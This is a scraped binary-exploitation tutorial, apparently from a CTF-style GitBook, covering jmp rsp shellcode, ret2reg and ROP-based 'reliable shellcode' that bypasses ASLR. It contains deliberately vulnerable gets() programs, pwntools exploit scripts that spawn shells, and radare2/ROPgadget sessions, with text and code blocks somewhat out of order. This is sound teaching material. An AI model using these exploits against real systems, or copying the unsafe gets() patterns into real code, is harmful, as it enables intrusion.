arrow-left

All pages
gitbookPowered by GitBook
1 of 5

Loading...

Loading...

Loading...

Loading...

Loading...

Using RSP

hashtag
Source

file-archive
3KB
rsp_shellcode.zip
archive
arrow-up-right-from-squareOpen
Shellcode with RSP

You can ignore most of it as it's mostly there to accomodate the existence of jmp rsp - we don't actually want it called, so there's a negative if statement.

circle-info

The chance of jmp esp gadgets existing in the binary are incredible low, but what you often do instead is find a sequence of bytes that code for jmp rsp and jump there - jmp rsp is \xff\xe4 in shellcode, so if there's is any part of the executable section with bytes in this order, they can be used as if they are a jmp rsp.

hashtag
Exploitation

Try to do this yourself first, using the explanation on the previous page. Remember, RSP points at the thing after the return pointer once ret has occured, so your shellcode goes after it.

hashtag
Solution

hashtag
Limited Space

You won't always have enough overflow - perhaps you'll only have 7 or 8 bytes. What you can do in this scenario is make the shellcode after the RIP equivalent to something like

Where 0x20 is the offset between the current value of RSP and the start of the buffer. In the buffer itself, we put the main shellcode. Let's try that!

The 10 is just a placeholder. Once we hit the pause(), we attach with radare2 and set a breakpoint on the ret, then continue. Once we hit it, we find the beginning of the A string and work out the offset between that and the current value of RSP - it's 128!

hashtag
Solution

We successfully pivoted back to our shellcode - and because all our addresses are relative, it's completely reliable! ASLR beaten with pure shellcode.

circle-exclamation

This is harder with PIE as the location of jmp rsp will change, so you might have to leak PIE base!

#include <stdio.h>

int test = 0;

int main() {
    char input[100];

    puts("Get me with shellcode and RSP!");
    gets(input);

    if(test) {
        asm("jmp *%rsp");
        return 0;
    }
    else {
        return 0;
    }
}
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

# we use elf.search() because we don't need those instructions directly,
# just anu sequence of \xff\xe4
jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = flat(
    'A' * 120,                # padding
    jmp_rsp,                 # RSP will be pointing to shellcode, so we jump there
    asm(shellcraft.sh())     # place the shellcode
)

p.sendlineafter('RSP!\n', payload)
p.interactive()
sub rsp, 0x20
jmp rsp
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
    sub rsp, 10;
    jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = asm(shellcraft.sh())
payload = payload.ljust(120, b'A')
payload += p64(jmp_rsp)
payload += asm('''
    sub rsp, 128;
    jmp rsp;
''')        # 128 we found with r2

p.sendlineafter('RSP!\n', payload)
p.interactive()

ret2reg

Using Registers to bypass ASLR

ret2reg simply involves jumping to register addresses rather than hardcoded addresses, much like Using RSP for Shellcode. For example, you may find RAX always points at your buffer when the ret is executed, so you could utilise a call rax or jmp rax to continue from there.

The reason RAX is the most common for this technique is that, by convention, the return value of a function is stored in RAX. For example, take the following basic code:

#include <stdio.h>

int test() {
    return 0xdeadbeef;
}

int main() {
    test();
    return 0;
}

If we compile and disassemble the function, we get this:

0x55ea94f68125      55             push rbp
0x55ea94f68126      4889e5         mov rbp, rsp
0x55ea94f68129      b8efbeadde     mov eax, 0xdeadbeef
0x55ea94f6812e      5d             pop rbp
0x55ea94f6812f      c3             ret

As you can see, the value 0xdeadbeef is being moved into EAX.

ROP and Shellcode

hashtag
Source

Super standard binary.

hashtag
Exploitation

Using ret2reg

hashtag
Source

Any function that returns a pointer to the string once it acts on it is a prime target. There are many that do this, including stuff like gets(), strcpy() and fgets(). We''l keep it simple and use gets() as an example.

Let's get all the basic setup done.

Now we're going to do something interesting - we are going to call gets again. Most importantly, we will tell gets to write the data it receives to a section of the binary. We need somewhere both readable and writeable, so I choose the GOT. We pass a GOT entry to gets, and when it receives the shellcode we send it will write the shellcode into the GOT. Now we know exactly where the shellcode is. To top it all off, we set the return address of our call to gets to where we wrote the shellcode, perfectly executing what we just inputted.

hashtag
Final Exploit

hashtag
64-bit

I wonder what you could do with this.

hashtag
ASLR

No need to worry about ASLR! Neither the stack nor libc is used, save for the ROP.

The real problem would be if PIE was enabled, as then you couldn't call gets as the location of the PLT would be unknown without a leak - same problem with writing to the GOT.

hashtag
Potential Problems

Thank to clubby789 arrow-up-rightand Faith arrow-up-rightfrom the HackTheBox Discord server, I found out that the GOT often has Executable permissions simply because that's the default permissions when there's no NX. If you have a more recent kernel, such as 5.9.0, the default is changed and the GOT will not have X permissions.

As such, if your exploit is failing, run uname -r to grab the kernel version and check if it's 5.9.0; if it is, you'll have to find another RWX region to place your shellcode (if it exists!).

file-archive
3KB
reliable_shellcode-32.zip
archive
arrow-up-right-from-squareOpen
Reliable Shellcode - 32-bit
file-archive
3KB
reliable_shellcode-64.zip
archive
arrow-up-right-from-squareOpen
Reliable Shellcode - 64-bit
#include <stdio.h>

void vuln() {
    char buffer[20];

    puts("Give me the input");

    gets(buffer);
}

int main() {
    vuln();

    return 0;
}
from pwn import *

elf = context.binary = ELF('./vuln-32')
p = process()
rop = ROP(elf)

rop.raw('A' * 32)
rop.gets(elf.got['puts'])      # Call gets, writing to the GOT entry of puts
rop.raw(elf.got['puts'])       # now our shellcode is written there, we can continue execution from there

p.recvline()
p.sendline(rop.chain())

p.sendline(asm(shellcraft.sh()))

p.interactive()
from pwn import *

elf = context.binary = ELF('./vuln-32')
p = process()

rop = ROP(elf)

rop.raw('A' * 32)
rop.gets(elf.got['puts'])      # Call gets, writing to the GOT entry of puts
rop.raw(elf.got['puts'])       # now our shellcode is written there, we can continue execution from there

p.recvline()
p.sendline(rop.chain())

p.sendline(asm(shellcraft.sh()))

p.interactive()
hashtag
Analysis

First, let's make sure that some register does point to the buffer:

Now we'll set a breakpoint on the ret in vuln(), continue and enter text.

We've hit the breakpoint, let's check if RAX points to our register. We'll assume RAX first because that's the traditional register to use for the return value.

And indeed it does!

hashtag
Exploitation

We now just need a jmp rax gadget or equivalent. I'll use ROPgadgetarrow-up-right for this and look for either jmp rax or call rax:

There's a jmp rax at 0x40109c, so I'll use that. The padding up until RIP is 120; I assume you can calculate this yourselves by now, so I won't bother showing it.

Awesome!

#include <stdio.h>

void vuln() {
    char buffer[100];
    gets(buffer);
}

int main() {
    vuln();
    return 0;
}
$ r2 -d -A vuln

[0x7f8ac76fa090]> pdf @ sym.vuln 
            ; CALL XREF from main @ 0x401147
โ”Œ 28: sym.vuln ();
โ”‚           ; var int64_t var_70h @ rbp-0x70
โ”‚           0x00401122      55             push rbp
โ”‚           0x00401123      4889e5         mov rbp, rsp
โ”‚           0x00401126      4883ec70       sub rsp, 0x70
โ”‚           0x0040112a      488d4590       lea rax, [var_70h]
โ”‚           0x0040112e      4889c7         mov rdi, rax
โ”‚           0x00401131      b800000000     mov eax, 0
โ”‚           0x00401136      e8f5feffff     call sym.imp.gets           ; char *gets(char *s)
โ”‚           0x0040113b      90             nop
โ”‚           0x0040113c      c9             leave
โ””           0x0040113d      c3             ret
[0x7f8ac76fa090]> db 0x0040113d
[0x7f8ac76fa090]> dc
hello
hit breakpoint at: 40113d
[0x0040113d]> dr rax
0x7ffd419895c0
[0x0040113d]> ps @ 0x7ffd419895c0
hello
$ ROPgadget --binary vuln | grep -iE "(jmp|call) rax"

0x0000000000401009 : add byte ptr [rax], al ; test rax, rax ; je 0x401019 ; call rax
0x0000000000401010 : call rax
0x000000000040100e : je 0x401014 ; call rax
0x0000000000401095 : je 0x4010a7 ; mov edi, 0x404030 ; jmp rax
0x00000000004010d7 : je 0x4010e7 ; mov edi, 0x404030 ; jmp rax
0x000000000040109c : jmp rax
0x0000000000401097 : mov edi, 0x404030 ; jmp rax
0x0000000000401096 : or dword ptr [rdi + 0x404030], edi ; jmp rax
0x000000000040100c : test eax, eax ; je 0x401016 ; call rax
0x0000000000401093 : test eax, eax ; je 0x4010a9 ; mov edi, 0x404030 ; jmp rax
0x00000000004010d5 : test eax, eax ; je 0x4010e9 ; mov edi, 0x404030 ; jmp rax
0x000000000040100b : test rax, rax ; je 0x401017 ; call rax
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

JMP_RAX = 0x40109c

payload = asm(shellcraft.sh())        # front of buffer <- RAX points here
payload = payload.ljust(120, b'A')    # pad until RIP
payload += p64(JMP_RAX)               # jump to the buffer - return value of gets()

p.sendline(payload)
p.interactive()

Reliable Shellcode

Shellcode, but without the guesswork

hashtag
Utilising ROP

The problem with shellcode exploits as they are is that the locations of it are questionable - wouldn't it be cool if we could control where we wrote it to?

Well, we can.

Instead of writing shellcode directly, we can instead use some ROP to take in input again - except this time, we specify the location as somewhere we control.

hashtag
Using ESP

If you think about it, once the return pointer is popped off the stack ESP will points at whatever is after it in memory - after all, that's the entire basis of ROP. But what if we put shellcode there?

It's a crazy idea. But remember, ESP will point there. So what if we overwrite the return pointer with a jmp esp gadget! Once it gets popped off, ESP will point at the shellcode and thanks to the jmp esp it will be executed!

hashtag
ret2reg

ret2reg extends the use of jmp esp to the use of any register that happens to point somewhere you need it to.